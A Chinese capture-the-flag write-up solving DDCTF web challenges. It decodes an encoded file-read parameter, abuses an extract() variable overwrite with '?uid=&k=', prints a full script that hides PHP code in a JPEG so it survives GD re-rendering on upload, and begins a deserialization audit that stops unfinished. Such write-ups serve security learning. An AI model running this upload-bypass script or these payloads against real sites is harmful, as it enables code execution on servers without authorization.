当前位置: 代码迷 >> 综合 >> DDCTF-writeup
  详细解决方案

DDCTF-writeup

热度:86   发布时间:2024-01-24 17:13:37.0

滴~

在这里插入图片描述
打开链接,很明显,url有提示,jpg的值是经过两次base64和一次hex编码后的结果,所以反向解码得到的结果为flag.jpg
在这里插入图片描述
本来想着是不是有php伪协议的漏洞,然后试着读取并没有读到什么有用的东西,所以直接就读取index.php试试,前提是把index.php给按照前面的规律编码一下,结果是

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

当作jpg的值传入,结果同样有一个图片,不过没有显示出来
在这里插入图片描述
查看页面源代码,很明显是一个图片经过base64编码后的结果,所以拿去在解码,解码时需要把上面带的前缀和后缀去掉,不然识别不出来是base64编码
在这里插入图片描述
解码的结果为

<?php
/** https://blog.csdn.net/FengBanLiuYun/article/details/80616607* Date: July 4,2018*/
error_reporting(E_ALL || ~E_NOTICE);header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64,".$txt."'></img>";
/** Can you find the flag file?**/?>

这里就有考验脑洞的地方了,这段代码里有一个CSDN的博客,它是有用的,还有日期,给出的文章链接只是承接部分,我们需要找到作者在7月4好4号的那篇文章,里面有提示。。。
这是链接

https://blog.csdn.net/fengbanliuyun/article/details/80913909

在这里插入图片描述
讲的是临时文件的知识点,所以我们就在链接后加上practice.txt.swp
会出现
在这里插入图片描述
而且我们之前读到的代码里有**$file = str_replace(“config”,"!", $file);**意思是把!替换成config
所以就按之前读取index.php的方法去读取flagconfigddctf.php
同样的,会读取到一段代码

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{$content=trim(file_get_contents($k));if($uid==$content){echo $flag;}else{echo'hello';}
}?>

这里有很明显的变量覆盖漏洞,解决方法就是构造如下的payload(把传入的参数置空就OK)

?uid=&k=

Upload-IMG

文件上传题目,先上传一张正常的照片
在这里插入图片描述
提示图片中未包含phpinfo()
在这里插入图片描述
所以我们用notepad++去加上phpinfo(),但是加上后还是会显示一样的错误信息,说明我们上传的信息应该是被过滤掉了。
我们把原先自己的图片的hex和上传过后的hex比较一下
在这里插入图片描述
在这里插入图片描述
多了gd的标志,说明有gd库渲染漏洞,用脚本跑一下
在这里插入图片描述
在这里插入图片描述
生成了一个新的payload图片,再上传就能得到flag了。。。
在这里插入图片描述
脚本如下

<?php$miniPayload = "<?php phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

签到题

点开题目链接,发现提示“抱歉,您没有登陆权限,请获取权限后访问-----”,先查看源代码,发现了“js/index.is”有提示
在这里插入图片描述
请求头中的参数"didictf_username"的值为空
在这里插入图片描述
根据题目“没有权限”,就构造值为admin,经过编辑和重发,发现返回了一个地址
在这里插入图片描述
访问app/fL2XID2i0Cdh.php是2个类的源代码
Application类和Application类的继承:Session类
审计源代码,发现Application类中有__destruct()魔术方法,说明有可能会用到PHP反序列化的内容.里面有一个对参数$path长度判断的一个if语句,还有文件包含,满足条件的话,返回Congratulations

public function __destruct() {if(empty($this->path)) {exit();}else{$path = $this->sanitizepath($this->path);if(strlen($path) !== 18) {exit();}$this->response($data=file_get_contents($path),'Congratulations');}exit();
}

还有对路径的过滤,’…/‘和’…\'都被过滤了

private function sanitizepath($path) 
{$path = trim($path);$path=str_replace('../','',$path);$path=str_replace('..\\','',$path);return $path;
}

再继续对Session类审计

    private function get_key() {//eancrykey  and flag under the folder$this->eancrykey =  file_get_contents('../config/key.txt');
);}

以上代码显示,可能存在一个key.txt,但是访问config文件的话,显示权限不够